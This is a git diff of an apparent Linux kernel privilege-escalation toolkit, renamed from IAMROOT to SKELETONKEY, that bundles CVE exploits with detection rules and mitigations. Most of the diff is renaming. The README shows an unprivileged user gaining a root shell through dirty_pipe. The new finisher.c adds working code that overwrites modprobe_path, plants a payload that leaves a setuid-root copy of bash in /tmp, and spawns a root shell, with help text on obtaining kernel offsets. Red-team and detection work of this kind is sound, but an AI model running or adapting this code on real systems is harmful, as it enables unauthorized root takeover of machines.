+ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)

 .PHONY: all clean debug static help

@@ -134,7 +154,7 @@ clean:

 help:
 	@echo "Targets:"
-	@echo "  make           build optimized iamroot binary"
+	@echo "  make           build optimized skeletonkey binary"
 	@echo "  make debug     build with -O0 -g3"
 	@echo "  make static    build a fully static binary"
 	@echo "  make clean     remove build artifacts"
@@ -1,4 +1,4 @@
-# IAMROOT
+# SKELETONKEY

 > A curated, actively-maintained corpus of Linux kernel LPE exploits —
 > bundled with their detection signatures, patch status, and version
@@ -7,15 +7,20 @@
 > vulnerable to, and — with explicit confirmation — gets you root.

 ```
- ██╗ █████╗ ███╗   ███╗██████╗  ██████╗  ██████╗ ████████╗
- ██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝
- ██║███████║██╔████╔██║██████╔╝██║   ██║██║   ██║   ██║
- ██║██╔══██║██║╚██╔╝██║██╔══██╗██║   ██║██║   ██║   ██║
- ██║██║  ██║██║ ╚═╝ ██║██║  ██║╚██████╔╝╚██████╔╝   ██║
- ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝
+      ╔══╤══╗
+      ║  ●  ║═══════════════════════════════════════════════════--,
+      ╚═════╝                                                     `--,_
+                                                                     `_/
+
+ ███████╗██╗  ██╗███████╗██╗     ███████╗████████╗ ██████╗ ███╗   ██╗██╗  ██╗███████╗██╗   ██╗
+ ██╔════╝██║ ██╔╝██╔════╝██║     ██╔════╝╚══██╔══╝██╔═══██╗████╗  ██║██║ ██╔╝██╔════╝╚██╗ ██╔╝
+ ███████╗█████╔╝ █████╗  ██║     █████╗     ██║   ██║   ██║██╔██╗ ██║█████╔╝ █████╗   ╚████╔╝ 
+ ╚════██║██╔═██╗ ██╔══╝  ██║     ██╔══╝     ██║   ██║   ██║██║╚██╗██║██╔═██╗ ██╔══╝    ╚██╔╝  
+ ███████║██║  ██╗███████╗███████╗███████╗   ██║   ╚██████╔╝██║ ╚████║██║  ██╗███████╗   ██║   
+ ╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝   ╚═╝    ╚═════╝ ╚═╝  ╚═══╝╚═╝  ╚═╝╚══════╝   ╚═╝   
 ```

-> ⚠️ **Authorized testing only.** IAMROOT is a research and red-team
+> ⚠️ **Authorized testing only.** SKELETONKEY is a research and red-team
 > tool. By using it you assert you have explicit authorization to test
 > the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).

@@ -23,61 +28,94 @@

 ```bash
 # One-shot install (x86_64 / arm64; checksum-verified)
-curl -sSL https://github.com/KaraZajac/IAMROOT/releases/latest/download/install.sh | sh
-
-# What's this box vulnerable to?
-sudo iamroot --scan
-
-# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
-sudo iamroot --audit
-
-# Deploy detection rules across every bundled module
-sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
-
-# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
-./tools/iamroot-fleet-scan.sh --binary iamroot --ssh-key ~/.ssh/id_rsa hosts.txt
+curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
 ```

-`iamroot --help` lists every command. See [`CVES.md`](CVES.md) for the
-curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md) for
-the blue-team deployment guide.
+**skeletonkey runs as a normal unprivileged user** — that's the whole
+point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
+work without `sudo`. Only `--mitigate` and rule-file installation
+write to root-owned paths.
+
+```bash
+# What's this box vulnerable to?  (no sudo)
+skeletonkey --scan
+
+# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
+skeletonkey --audit
+
+# Deploy detection rules (needs sudo to write /etc/audit/rules.d/)
+skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
+
+# Apply temporary mitigations (needs sudo for modprobe.d + sysctl)
+sudo skeletonkey --mitigate copy_fail
+
+# Fleet scan (any-sized host list via SSH; aggregated JSON for SIEM)
+./tools/skeletonkey-fleet-scan.sh --binary skeletonkey --ssh-key ~/.ssh/id_rsa hosts.txt
+```
+
+### Example: unprivileged → root
+
+```text
+$ id
+uid=1000(kara) gid=1000(kara) groups=1000(kara)
+
+$ skeletonkey --scan
+[+] dirty_pipe       VULNERABLE (kernel 5.15.0-56-generic)
+[+] cgroup_release_agent VULNERABLE (kernel 5.15 < 5.17)
+[+] pwnkit           VULNERABLE (polkit 0.105-31ubuntu0.1)
+[-] copy_fail        not vulnerable (kernel 5.15 < introduction)
+[-] dirty_cow        not vulnerable (kernel ≥ 4.9)
+
+$ skeletonkey --exploit dirty_pipe --i-know
+[!] dirty_pipe: kernel 5.15.0-56-generic IS vulnerable
+[+] dirty_pipe: writing UID=0 into /etc/passwd page cache...
+[+] dirty_pipe: spawning su root
+# id
+uid=0(root) gid=0(root) groups=0(root)
+```
+
+`skeletonkey --help` lists every command. See [`CVES.md`](CVES.md) for
+the curated CVE inventory and [`docs/DEFENDERS.md`](docs/DEFENDERS.md)
+for the blue-team deployment guide.

 ## What this is

 Most Linux LPE references are dead repos, broken PoCs, or single-CVE
-deep-dives. **IAMROOT is a living corpus**: each CVE that lands here
+deep-dives. **SKELETONKEY is a living corpus**: each CVE that lands here
 is empirically verified to work on the kernels it claims to target,
 CI-tested across a distro matrix, and ships with the detection
 signatures defenders need to spot it in their environment.

 The same binary covers offense and defense:

- `iamroot --scan` — fingerprint the host, report which bundled CVEs
+- `skeletonkey --scan` — fingerprint the host, report which bundled CVEs
  apply, and which are blocked by patches/config/LSM
- `iamroot --exploit <CVE>` — run the named exploit (with `--i-know`
+- `skeletonkey --exploit <CVE>` — run the named exploit (with `--i-know`
  authorization gate)
- `iamroot --detect-rules` — dump auditd / sigma / yara rules for
+- `skeletonkey --detect-rules` — dump auditd / sigma / yara rules for
  every bundled CVE so blue teams can drop them into their tooling
- `iamroot --mitigate` — apply temporary mitigations for CVEs the
+- `skeletonkey --mitigate` — apply temporary mitigations for CVEs the
  host is vulnerable to (sysctl knobs, module blacklists, etc.)

 ## Status

-**Active — v0.1.0 cut 2026-05-16.** Corpus covers **20 modules**
+**Active — v0.3.0 cut 2026-05-16.** Corpus covers **24 modules**
 across the 2016 → 2026 LPE timeline:

 - 🟢 **13 modules land root** end-to-end on a vulnerable host
  (copy_fail family ×5, dirty_pipe, entrybleed leak, pwnkit,
  overlayfs CVE-2021-3493, dirty_cow, ptrace_traceme,
  cgroup_release_agent, overlayfs_setuid CVE-2023-0386).
- 🟡 **7 modules fire the kernel primitive** (trigger + slab groom +
-  empirical witness) but stop short of the full cred-overwrite /
-  R/W chain — they return `EXPLOIT_FAIL` honestly rather than
-  fabricate per-kernel offsets. Useful as vuln-verification probes.
-  (af_packet, af_packet2, cls_route4, fuse_legacy, nf_tables,
-  netfilter_xtcompat, stackrot.)
+- 🟡 **11 modules fire the kernel primitive** by default and refuse
+  to claim root without empirical confirmation. Pass `--full-chain`
+  to engage the shared `modprobe_path` finisher and attempt root
+  pop — requires kernel offsets via env vars / `/proc/kallsyms` /
+  `/boot/System.map`; see [`docs/OFFSETS.md`](docs/OFFSETS.md).
+  Modules: af_packet, af_packet2, af_unix_gc, cls_route4,
+  fuse_legacy, nf_tables, netfilter_xtcompat, nft_fwd_dup,
+  nft_payload, nft_set_uaf, stackrot.
 - Detection rules ship inline (auditd / sigma / yara / falco) and
-  are exported via `iamroot --detect-rules --format=…`.
+  are exported via `skeletonkey --detect-rules --format=…`.

 See [`CVES.md`](CVES.md) for the per-CVE inventory + patch status.
 See [`ROADMAP.md`](ROADMAP.md) for the next planned modules.
@@ -93,7 +131,7 @@ The Linux kernel privilege-escalation space is fragmented:
 - **Per-CVE single-PoC repos**: usually one author, often abandoned
  within months of release, often only one distro

-IAMROOT's bet is that there's room for a single curated bundle that
+SKELETONKEY's bet is that there's room for a single curated bundle that
 (1) actively maintains a small set of high-quality exploits across a
 multi-distro matrix, and (2) ships detection rules alongside each
 exploit so the same project serves both red and blue teams.
@@ -115,16 +153,16 @@ module-loader design and how to add a new CVE.

 ```bash
 make                          # build all modules
-sudo ./iamroot --scan         # what's this box vulnerable to?
-sudo ./iamroot --scan --json  # machine-readable output for CI/SOC pipelines
-sudo ./iamroot --detect-rules --format=sigma > rules.yml
-sudo ./iamroot --exploit copy_fail --i-know  # actually run an exploit
+./skeletonkey --scan              # what's this box vulnerable to?  (no sudo)
+./skeletonkey --scan --json       # machine-readable output for CI/SOC pipelines
+./skeletonkey --detect-rules --format=sigma > rules.yml
+./skeletonkey --exploit copy_fail --i-know   # actually run an exploit (starts as $USER)
 ```

 ## Acknowledgments

 Each module credits the original CVE reporter and PoC author in its
-`NOTICE.md`. IAMROOT is the bundling and bookkeeping layer; the
+`NOTICE.md`. SKELETONKEY is the bundling and bookkeeping layer; the
 research credit belongs to the people who found the bugs.

 ## License
@@ -15,18 +15,18 @@ commitments.

 ## Phase 1 — Make the bundling real (DONE 2026-05-16)

- [x] Top-level `iamroot` dispatcher CLI (`iamroot.c`) — module
+- [x] Top-level `skeletonkey` dispatcher CLI (`skeletonkey.c`) — module
      registry, route to module's detect/exploit
 - [x] Module interface header (`core/module.h`) — standard
-      `iamroot_module` struct + `iamroot_result_t` (numerically
+      `skeletonkey_module` struct + `skeletonkey_result_t` (numerically
      aligned with copy_fail_family's `df_result_t` for zero-cost
      bridging)
 - [x] `core/registry.{c,h}` — flat-array registry with `find_by_name`
- [x] `modules/copy_fail_family/iamroot_modules.{c,h}` — bridge layer
+- [x] `modules/copy_fail_family/skeletonkey_modules.{c,h}` — bridge layer
      exposing 5 modules
 - [x] Top-level `Makefile` that builds all modules into one binary
- [x] Smoke test: `iamroot --scan --json` produces ingest-ready JSON;
-      `iamroot --list` prints the module inventory
+- [x] Smoke test: `skeletonkey --scan --json` produces ingest-ready JSON;
+      `skeletonkey --list` prints the module inventory
 - [ ] **Deferred to Phase 1.5**: extract `apparmor_bypass.c`,
      `exploit_su.c`, `common.c`, `fcrypt.c` into `core/` (shared
      across families). Phase 1 keeps them inside copy_fail_family/src/
@@ -35,7 +35,7 @@ commitments.

 ## Phase 2 — Add Dirty Pipe (CVE-2022-0847) — PARTIAL (DETECT done 2026-05-16)

-Public PoC, well-understood, useful for completeness — IAMROOT
+Public PoC, well-understood, useful for completeness — SKELETONKEY
 without Dirty Pipe is incomplete as a "historical bundle." Affects
 kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older
 deployments (worth bundling — many production boxes still run
@@ -49,7 +49,7 @@ these).
      branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+)
 - [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow
      watches) and `sigma.yml` (non-root modification of sensitive files)
- [x] Registered in `iamroot --list` / `--scan` output. Verified on
+- [x] Registered in `skeletonkey --list` / `--scan` output. Verified on
      kernel 6.12.86 → correctly reports OK (patched).
 - [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline
      passwd-UID and page-cache-revert helpers in the module (~80 lines).
@@ -76,12 +76,12 @@ primitive** that other modules can chain. Bundled because:

 - [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
 - [x] Exposed as a library helper: other modules can call
-      `entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h)
- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed
+      `entrybleed_leak_kbase_lib()` (declared in skeletonkey_modules.h)
+- [x] Wired into skeletonkey.c registry; `skeletonkey --exploit entrybleed
      --i-know` produces a kbase leak. Verified on kctf-mgr:
      leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
 - [x] `entry_SYSCALL_64` slot offset configurable via
-      `IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
+      `SKELETONKEY_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
      Future enhancement: auto-detect via /boot/System.map or
      /proc/kallsyms if accessible.

@@ -104,28 +104,28 @@ primitive** that other modules can chain. Bundled because:

 ## Phase 5 — Detection signature export (DONE 2026-05-16)

- [x] `iamroot --detect-rules --format=auditd` — embedded auditd rules
+- [x] `skeletonkey --detect-rules --format=auditd` — embedded auditd rules
      across all modules (deduped — family-shared rules emit once)
- [x] `iamroot --detect-rules --format=sigma` — embedded Sigma rules
+- [x] `skeletonkey --detect-rules --format=sigma` — embedded Sigma rules
 - [x] `--format=yara` and `--format=falco` flags accepted; per-module
      strings can be added when authors ship them. Currently no module
      ships YARA or Falco rules (skipped cleanly).
- [x] `struct iamroot_module` gained `detect_auditd`, `detect_sigma`,
+- [x] `struct skeletonkey_module` gained `detect_auditd`, `detect_sigma`,
      `detect_yara`, `detect_falco` fields — each NULL or pointer to
      embedded C string. Self-contained binary, no data-dir install needed.
 - [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup

 ## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16)

- [x] copy_fail_family: `iamroot --mitigate copy_fail` (or any family
+- [x] copy_fail_family: `skeletonkey --mitigate copy_fail` (or any family
      member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets
      `kernel.apparmor_restrict_unprivileged_userns=1`, drops page
      cache. Bridged from existing DIRTYFAIL `mitigate_apply()`.
- [x] copy_fail_family: `iamroot --cleanup <name>` routes by visible
+- [x] copy_fail_family: `skeletonkey --cleanup <name>` routes by visible
      state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists →
      `mitigate_revert()`; else evict /etc/passwd page cache. Heuristic
      sufficient for common usage patterns.
- [x] dirty_pipe: `iamroot --cleanup dirty_pipe` evicts /etc/passwd
+- [x] dirty_pipe: `skeletonkey --cleanup dirty_pipe` evicts /etc/passwd
      (already landed in Phase 2 complete).
 - [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel";
      no automated mitigation possible. Document and skip.
@@ -178,7 +178,7 @@ cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
 modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
 None requires fresh research — each has a public reference exploit;
 the work is porting the per-kernel offset dance into a portable
-shape compatible with IAMROOT's "no-fabricated-offsets" rule (most
+shape compatible with SKELETONKEY's "no-fabricated-offsets" rule (most
 likely as an env-var override table per distro+kernel, with offset
 auto-resolve via System.map / kallsyms when accessible).

@@ -190,7 +190,7 @@ race window makes it inherently low-yield.

 ## Non-goals

- **No 0-day shipment.** Everything in IAMROOT is post-patch.
+- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
 - **No automated mass-targeting.** No host-list mode. No automatic
  pivoting.
 - **No persistence beyond `--exploit-backdoor`'s
@@ -0,0 +1,179 @@
+/*
+ * SKELETONKEY — shared finisher helpers
+ *
+ * See finisher.h for the pattern split (A: modprobe_path overwrite,
+ * B: current->cred->uid).
+ */
+
+#include "finisher.h"
+#include "module.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <time.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+
+static int write_file(const char *path, const char *content, mode_t mode)
+{
+    int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
+    if (fd < 0) return -1;
+    size_t n = strlen(content);
+    ssize_t w = write(fd, content, n);
+    close(fd);
+    if (w < 0 || (size_t)w != n) return -1;
+    if (chmod(path, mode) < 0) return -1;
+    return 0;
+}
+
+void skeletonkey_finisher_print_offset_help(const char *module_name)
+{
+    fprintf(stderr,
+"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
+"\n"
+"    To populate them on this host, choose ONE of:\n"
+"\n"
+"    1) Environment override (one-shot, no host changes):\n"
+"         SKELETONKEY_MODPROBE_PATH=0x...  skeletonkey --exploit %s --i-know --full-chain\n"
+"\n"
+"    2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
+"         sudo chmod 0644 /boot/System.map-$(uname -r)   # if you have sudo\n"
+"\n"
+"    3) Lower kptr_restrict (per-boot):\n"
+"         sudo sysctl kernel.kptr_restrict=0             # if you have sudo\n"
+"         (Note: needs root once — defeats the LPE point on this host.\n"
+"          Useful when populating offsets on a lab kernel ahead of time.)\n"
+"\n"
+"    To look up the address manually (as root):\n"
+"         grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms\n"
+"\n",
+        module_name, module_name);
+}
+
+int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
+                                   skeletonkey_arb_write_fn arb_write,
+                                   void *arb_ctx,
+                                   bool spawn_shell)
+{
+    if (!skeletonkey_offsets_have_modprobe_path(off)) {
+        skeletonkey_finisher_print_offset_help("module");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    if (!arb_write) {
+        fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    /* Per-pid working paths so concurrent runs don't collide. */
+    pid_t pid = getpid();
+    char mp_path[64], trig_path[64], pwn_path[64];
+    snprintf(mp_path,   sizeof mp_path,   "/tmp/skeletonkey-mp-%d.sh", (int)pid);
+    snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
+    snprintf(pwn_path,  sizeof pwn_path,  "/tmp/skeletonkey-pwn-%d",  (int)pid);
+
+    /* Payload: chmod /bin/bash setuid root + drop a sentinel so we
+     * know it ran. Bash 4+ refuses to use its own setuid bit by
+     * default — so instead copy bash to /tmp and chmod +s the copy. */
+    char payload[1024];
+    snprintf(payload, sizeof payload,
+"#!/bin/sh\n"
+"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
+"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
+"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
+        pwn_path, pwn_path, pwn_path);
+
+    if (write_file(mp_path, payload, 0755) < 0) {
+        fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    /* Unknown-format trigger: anything that fails the standard exec
+     * format probe drives kernel's call_modprobe(). Empty + executable
+     * works on every kernel we care about. */
+    if (write_file(trig_path, "\x00", 0755) < 0) {
+        fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
+        unlink(mp_path);
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    /* Build the kernel-side write payload: a NUL-terminated path to
+     * our mp_path script. modprobe_path[] is 256 bytes in the kernel
+     * — we write enough to overwrite the leading slot. */
+    char kbuf[256];
+    memset(kbuf, 0, sizeof kbuf);
+    snprintf(kbuf, sizeof kbuf, "%s", mp_path);
+
+    fprintf(stderr, "[*] finisher: writing modprobe_path=0x%lx ← \"%s\"\n",
+            (unsigned long)off->modprobe_path, mp_path);
+
+    if (arb_write(off->modprobe_path, kbuf, strlen(kbuf) + 1, arb_ctx) < 0) {
+        fprintf(stderr, "[-] finisher: arb_write failed\n");
+        unlink(mp_path);
+        unlink(trig_path);
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    /* Fire the trigger by exec'ing the unknown binary. fork() so the
+     * kernel sees the unknown format and parent stays alive. */
+    pid_t cpid = fork();
+    if (cpid == 0) {
+        char *argv[] = { trig_path, NULL };
+        execve(trig_path, argv, NULL);
+        _exit(127);   /* execve failure is expected — kernel still calls modprobe */
+    } else if (cpid > 0) {
+        int st;
+        waitpid(cpid, &st, 0);
+    } else {
+        fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    /* Modprobe runs asynchronously — give the kernel up to 3 s. */
+    for (int i = 0; i < 30; i++) {
+        struct stat st;
+        if (stat(pwn_path, &st) == 0 && (st.st_mode & S_ISUID)) {
+            fprintf(stderr, "[+] finisher: payload ran as root (sentinel %s mode=%o uid=%u)\n",
+                    pwn_path, (unsigned)(st.st_mode & 07777), (unsigned)st.st_uid);
+            goto have_setuid;
+        }
+        struct timespec ts = { 0, 100 * 1000 * 1000 };  /* 100 ms */
+        nanosleep(&ts, NULL);
+    }
+    fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
+    unlink(mp_path);
+    unlink(trig_path);
+    return SKELETONKEY_EXPLOIT_FAIL;
+
+have_setuid:
+    if (!spawn_shell) {
+        fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
+        unlink(mp_path);
+        unlink(trig_path);
+        return SKELETONKEY_EXPLOIT_OK;
+    }
+    fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
+    fflush(stderr);
+    char *argv[] = { pwn_path, "-p", NULL };
+    execve(pwn_path, argv, NULL);
+    /* Only reached on execve failure. */
+    fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
+                                   skeletonkey_arb_write_fn arb_write,
+                                   void *arb_ctx,
+                                   bool spawn_shell)
+{
+    (void)off; (void)arb_write; (void)arb_ctx; (void)spawn_shell;
+    fprintf(stderr,
+"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
+"    the task list from init_task and find current). Modules with\n"
+"    only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
+"    instead — same root capability, simpler trigger.\n");
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
@@ -0,0 +1,80 @@
+/*
+ * SKELETONKEY — shared finisher helpers for full-chain root pops.
+ *
+ * The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
+ * write, slab UAF, etc.). The conversion to root is almost always one
+ * of two patterns:
+ *
+ *   A) "modprobe_path overwrite":
+ *        - kernel arb-write at &modprobe_path[0] with a userspace path
+ *        - execve() an unknown-format binary triggers do_coredump's
+ *          fallback to call_modprobe(), which spawns modprobe_path
+ *          as init/root running our payload
+ *
+ *   B) "current->cred->uid overwrite":
+ *        - kernel arb-write at &current_task->real_cred->uid = 0
+ *          (and cap_*, fsuid, etc. for completeness)
+ *        - setuid(0); execve("/bin/sh")
+ *
+ * Pattern (A) is much simpler — only one kernel address needed
+ * (modprobe_path) and the trigger is just execve("/tmp/unknown").
+ * Pattern (B) needs a self-cred chase + multiple writes.
+ *
+ * Modules provide their own arb-write primitive via the
+ * skeletonkey_arb_write_fn callback; this file wraps the rest.
+ */
+
+#ifndef SKELETONKEY_FINISHER_H
+#define SKELETONKEY_FINISHER_H
+
+#include <stdint.h>
+#include <stddef.h>
+#include <stdbool.h>
+#include "offsets.h"
+
+/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
+ * `kaddr`. Module-specific implementation. Returns 0 on success,
+ * negative on failure. `ctx` is opaque module state. */
+typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
+                                    const void *buf, size_t len,
+                                    void *ctx);
+
+/* Trigger that fires the arb-write. Many modules need to set up the
+ * groomed slab THEN call the trigger. The trigger is a separate fn
+ * because some modules need to re-spray before each write. NULL is
+ * acceptable if the arb-write is self-contained. */
+typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
+
+/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
+ * already populated `off->modprobe_path`. Implementation:
+ *   1. Write payload script to /tmp/skeletonkey-mp-<pid>
+ *   2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
+ *   3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
+ *   4. chmod +x both, execve() the trigger → kernel-call-modprobe
+ *      → our payload runs as root → payload writes /tmp/skeletonkey-pwn
+ *      and/or copies /bin/bash to /tmp with setuid root
+ *   5. Wait for sentinel file, exec'd the setuid-bash → root shell
+ *
+ * Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
+ * via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
+int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
+                                   skeletonkey_arb_write_fn arb_write,
+                                   void *arb_ctx,
+                                   bool spawn_shell);
+
+/* Pattern B: cred uid overwrite. Caller has populated init_task +
+ * cred offsets. Implementation:
+ *   1. Walk task linked list from init_task to find self by pid
+ *      (this requires arb-READ too — not supplied here; B-pattern
+ *      modules need to provide their own variant)
+ * For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
+ * helpful error. */
+int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
+                                   skeletonkey_arb_write_fn arb_write,
+                                   void *arb_ctx,
+                                   bool spawn_shell);
+
+/* Diagnostic: tell the operator how to populate offsets manually. */
+void skeletonkey_finisher_print_offset_help(const char *module_name);
+
+#endif /* SKELETONKEY_FINISHER_H */
@@ -1,5 +1,5 @@
 /*
- * IAMROOT — kernel_range implementation
+ * SKELETONKEY — kernel_range implementation
 */

 #include "kernel_range.h"
@@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out)
    if (uname(&u) < 0) return false;

    /* Stash release string for callers that want to print it. We hold
-     * a single static buffer; not threadsafe but iamroot is single-
+     * a single static buffer; not threadsafe but skeletonkey is single-
     * threaded today. */
    snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
    out->release = g_release_buf;
@@ -1,5 +1,5 @@
 /*
- * IAMROOT — kernel version range matching
+ * SKELETONKEY — kernel version range matching
 *
 * Every CVE module needs to answer "is the host kernel in the affected
 * range?". This file centralizes that.
@@ -17,8 +17,8 @@
 * patch version is at or above the threshold.
 */

-#ifndef IAMROOT_KERNEL_RANGE_H
-#define IAMROOT_KERNEL_RANGE_H
+#ifndef SKELETONKEY_KERNEL_RANGE_H
+#define SKELETONKEY_KERNEL_RANGE_H

 #include <stdbool.h>
 #include <stddef.h>
@@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out);
 bool kernel_range_is_patched(const struct kernel_range *r,
                             const struct kernel_version *v);

-#endif /* IAMROOT_KERNEL_RANGE_H */
+#endif /* SKELETONKEY_KERNEL_RANGE_H */
@@ -1,58 +1,59 @@
 /*
- * IAMROOT — core module interface
+ * SKELETONKEY — core module interface
 *
- * Every CVE module exports one or more `struct iamroot_module` entries
- * via a registry function. The top-level dispatcher (iamroot.c) walks
+ * Every CVE module exports one or more `struct skeletonkey_module` entries
+ * via a registry function. The top-level dispatcher (skeletonkey.c) walks
 * the global registry to implement --scan, --exploit, --mitigate, etc.
 *
 * This is intentionally a small interface. Modules carry the
 * complexity; the dispatcher just routes.
 */

-#ifndef IAMROOT_MODULE_H
-#define IAMROOT_MODULE_H
+#ifndef SKELETONKEY_MODULE_H
+#define SKELETONKEY_MODULE_H

 #include <stddef.h>
 #include <stdbool.h>

 /* Standard result codes returned by detect()/exploit()/mitigate().
 *
- * These map to top-level exit codes when iamroot is invoked with a
+ * These map to top-level exit codes when skeletonkey is invoked with a
 * single-module operation:
 *
- *   IAMROOT_OK            exit 0   detect: not vulnerable / clean
- *   IAMROOT_VULNERABLE    exit 2   detect: confirmed vulnerable
- *   IAMROOT_PRECOND_FAIL  exit 4   detect: preconditions missing
- *   IAMROOT_TEST_ERROR    exit 1   detect/exploit: error
- *   IAMROOT_EXPLOIT_OK    exit 5   exploit: succeeded (root achieved)
- *   IAMROOT_EXPLOIT_FAIL  exit 3   exploit: attempted but did not land
+ *   SKELETONKEY_OK            exit 0   detect: not vulnerable / clean
+ *   SKELETONKEY_VULNERABLE    exit 2   detect: confirmed vulnerable
+ *   SKELETONKEY_PRECOND_FAIL  exit 4   detect: preconditions missing
+ *   SKELETONKEY_TEST_ERROR    exit 1   detect/exploit: error
+ *   SKELETONKEY_EXPLOIT_OK    exit 5   exploit: succeeded (root achieved)
+ *   SKELETONKEY_EXPLOIT_FAIL  exit 3   exploit: attempted but did not land
 *
 * Implementation note: copy_fail_family's df_result_t shares these
 * numeric values intentionally so the family code can return its
 * existing constants without translation.
 */
 typedef enum {
-    IAMROOT_OK              = 0,
-    IAMROOT_TEST_ERROR      = 1,
-    IAMROOT_VULNERABLE      = 2,
-    IAMROOT_EXPLOIT_FAIL    = 3,
-    IAMROOT_PRECOND_FAIL    = 4,
-    IAMROOT_EXPLOIT_OK      = 5,
-} iamroot_result_t;
+    SKELETONKEY_OK              = 0,
+    SKELETONKEY_TEST_ERROR      = 1,
+    SKELETONKEY_VULNERABLE      = 2,
+    SKELETONKEY_EXPLOIT_FAIL    = 3,
+    SKELETONKEY_PRECOND_FAIL    = 4,
+    SKELETONKEY_EXPLOIT_OK      = 5,
+} skeletonkey_result_t;

 /* Per-invocation context passed to module callbacks. Lightweight for
 * now; will grow as modules need shared state (host fingerprint,
 * leaked kbase, etc.). */
-struct iamroot_ctx {
+struct skeletonkey_ctx {
    bool          no_color;     /* --no-color */
    bool          json;         /* --json (machine-readable output) */
    bool          active_probe; /* --active (do invasive probes in detect) */
    bool          no_shell;     /* --no-shell (exploit prep but don't pop) */
    bool          authorized;   /* user typed --i-know on exploit */
+    bool          full_chain;   /* --full-chain (attempt root-pop after primitive) */
 };

-struct iamroot_module {
-    /* Short id used on the command line: `iamroot --exploit copy_fail`. */
